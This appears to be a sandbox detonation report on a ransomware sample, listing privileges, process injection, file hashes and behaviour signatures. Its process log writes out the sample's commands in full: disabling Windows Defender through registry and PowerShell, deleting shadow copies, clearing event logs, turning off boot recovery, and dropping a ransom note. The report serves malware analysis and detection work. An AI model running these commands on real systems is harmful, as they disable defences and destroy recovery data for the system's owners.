Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1464 wrote to memory of 268 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\net.exe
PID 1464 wrote to memory of 268 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\net.exe
PID 1464 wrote to memory of 268 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\net.exe
PID 268 wrote to memory of 996 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 268 wrote to memory of 996 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 268 wrote to memory of 996 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1464 wrote to memory of 576 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\net.exe
PID 1464 wrote to memory of 576 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\net.exe
PID 1464 wrote to memory of 576 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\net.exe
PID 576 wrote to memory of 1628 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 576 wrote to memory of 1628 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 576 wrote to memory of 1628 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1464 wrote to memory of 1356 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\net.exe
PID 1464 wrote to memory of 1356 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\net.exe
PID 1464 wrote to memory of 1356 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\net.exe
PID 1356 wrote to memory of 820 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1356 wrote to memory of 820 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1356 wrote to memory of 820 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1464 wrote to memory of 1412 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\net.exe
PID 1464 wrote to memory of 1412 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\net.exe
PID 1464 wrote to memory of 1412 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\net.exe
PID 1412 wrote to memory of 1988 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1412 wrote to memory of 1988 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1412 wrote to memory of 1988 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1464 wrote to memory of 1744 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\net.exe
PID 1464 wrote to memory of 1744 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\net.exe
PID 1464 wrote to memory of 1744 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\net.exe
PID 1744 wrote to memory of 1960 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1744 wrote to memory of 1960 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1744 wrote to memory of 1960 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1464 wrote to memory of 1096 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\net.exe
PID 1464 wrote to memory of 1096 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\net.exe
PID 1464 wrote to memory of 1096 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\net.exe
PID 1096 wrote to memory of 1460 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1096 wrote to memory of 1460 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1096 wrote to memory of 1460 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1464 wrote to memory of 956 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\net.exe
PID 1464 wrote to memory of 956 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\net.exe
PID 1464 wrote to memory of 956 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\net.exe
PID 956 wrote to memory of 744 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 956 wrote to memory of 744 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 956 wrote to memory of 744 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1464 wrote to memory of 1040 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\net.exe
PID 1464 wrote to memory of 1040 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\net.exe
PID 1464 wrote to memory of 1040 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\net.exe
PID 1040 wrote to memory of 1496 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1040 wrote to memory of 1496 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1040 wrote to memory of 1496 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1464 wrote to memory of 1872 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\sc.exe
PID 1464 wrote to memory of 1872 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\sc.exe
PID 1464 wrote to memory of 1872 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\sc.exe
PID 1464 wrote to memory of 1588 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\sc.exe
PID 1464 wrote to memory of 1588 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\sc.exe
PID 1464 wrote to memory of 1588 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\sc.exe
PID 1464 wrote to memory of 1540 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\sc.exe
PID 1464 wrote to memory of 1540 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\sc.exe
PID 1464 wrote to memory of 1540 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\sc.exe
PID 1464 wrote to memory of 860 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\sc.exe
PID 1464 wrote to memory of 860 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\sc.exe
PID 1464 wrote to memory of 860 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\sc.exe
PID 1464 wrote to memory of 1948 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\sc.exe
PID 1464 wrote to memory of 1948 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\sc.exe
PID 1464 wrote to memory of 1948 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\sc.exe
PID 1464 wrote to memory of 1728 N/A C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe C:\Windows\system32\sc.exe

Processes

C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe

"C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe"

C:\Windows\system32\net.exe

net.exe stop "NetMsmqActivator" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "NetMsmqActivator" /y

C:\Windows\system32\net.exe

net.exe stop "SamSs" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SamSs" /y

C:\Windows\system32\net.exe

net.exe stop "SDRSVC" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SDRSVC" /y

C:\Windows\system32\net.exe

net.exe stop "SstpSvc" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SstpSvc" /y

C:\Windows\system32\net.exe

net.exe stop "UI0Detect" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UI0Detect" /y

C:\Windows\system32\net.exe

net.exe stop "VSS" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "VSS" /y

C:\Windows\system32\net.exe

net.exe stop "wbengine" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "wbengine" /y

C:\Windows\system32\net.exe

net.exe stop "WebClient" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "WebClient" /y

C:\Windows\system32\sc.exe

sc.exe config "NetMsmqActivator" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SamSs" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SDRSVC" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SstpSvc" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "UI0Detect" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "VSS" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "wbengine" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "WebClient" start= disabled

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\vssadmin.exe

vssadmin.exe delete shadows /all /quiet

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl system

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl security

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl application

C:\Windows\System32\Wbem\wmic.exe

wmic.exe SHADOWCOPY /nointeractive

C:\Windows\System32\Wbem\wmic.exe

wmic.exe shadowcopy delete

C:\Windows\system32\bcdedit.exe

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\bcdedit.exe

bcdedit.exe /set {default} recoveryenabled no

C:\Windows\system32\cmd.exe

cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Program Files\Windows Defender\MpCmdRun.exe

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Windows\system32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\system32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\system32\notepad.exe

notepad.exe C:\mSnL_HOW_TO_DECRYPT.txt

C:\Windows\system32\cmd.exe

cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe"

C:\Windows\system32\PING.EXE

ping.exe -n 5 127.0.0.1

Network

N/A

Files

memory/1748-55-0x000007FEFBCB1000-0x000007FEFBCB3000-memory.dmp

memory/2184-59-0x000007FEF2D80000-0x000007FEF38DD000-memory.dmp

memory/2184-60-0x00000000027E0000-0x00000000027E2000-memory.dmp

memory/2184-63-0x00000000027EB000-0x000000000280A000-memory.dmp

memory/2184-62-0x00000000027E4000-0x00000000027E7000-memory.dmp

memory/2184-61-0x00000000027E2000-0x00000000027E4000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 b751a5edbf6bdf80921118025caf8453
SHA1 bd7c544e164a994b9de59238a06fb7d94b8b268e
SHA256 ca1628daaaeb59f4f35463a881d239dc94f618775f63156f84a3a16b0f35fcd5
SHA512 423c562d9ce8de5abb04e1461731b940daf13c2de51b8643cf8e7fbe832d67064c5715d61991f02eb848d48c018d78c51bce99d07d2ec36852a7fd0f0cf74b66

memory/2272-66-0x000007FEF23E0000-0x000007FEF2F3D000-memory.dmp

memory/2272-67-0x0000000001E50000-0x0000000001ED2000-memory.dmp

memory/2272-68-0x0000000001E50000-0x0000000001ED2000-memory.dmp

memory/2272-69-0x0000000001E50000-0x0000000001ED2000-memory.dmp

memory/2272-70-0x0000000001E50000-0x0000000001ED2000-memory.dmp

C:\mSnL_HOW_TO_DECRYPT.txt

MD5 85193c731cbb5598950f2b8cd1249883
SHA1 b0b27eecca080448623cdb549ef473661fe08a6c
SHA256 ea457401988b78acba4828b2145795af7e62928676a7923433b1d03b95534b6b
SHA512 d1610b1f2b090febab4b66c298d9d810d74e804ccac1a86f7a446623db83d1d870a39c601d3bcac5546b5c5f4f65c156488fbfaa08f8be221dd2e9c1d5240dd2

Analysis: behavioral2

Detonation Overview

Submitted

2022-01-31 12:00

Reported

2022-01-31 12:03

Platform

win10v2004-en-20220113

Max time kernel

11s

Max time network

9s

Command Line

"C:\Users\Admin\AppData\Local\Temp\06173ef5e0646e104caad18a0f849975dfcddf6c292edfa4c2980b8947502ac8.exe"

Signatures

Modifies Windows Defender Real-time Protection settings

evasion trojan

Modifies security service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" C:\Windows\SYSTEM32\reg.exe N/A

Clears Windows event logs

evasion ransomware

Deletes shadow copies

ransomware

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\bcdedit.exe N/A
N/A N/A C:\Windows\SYSTEM32\bcdedit.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\WindowsUpdate.log C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log C:\Windows\system32\svchost.exe N/A

Launches sc.exe

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\vssadmin.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople C:\Windows\System32\WaaSMedicAgent.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates C:\Windows\System32\WaaSMedicAgent.exe N/A
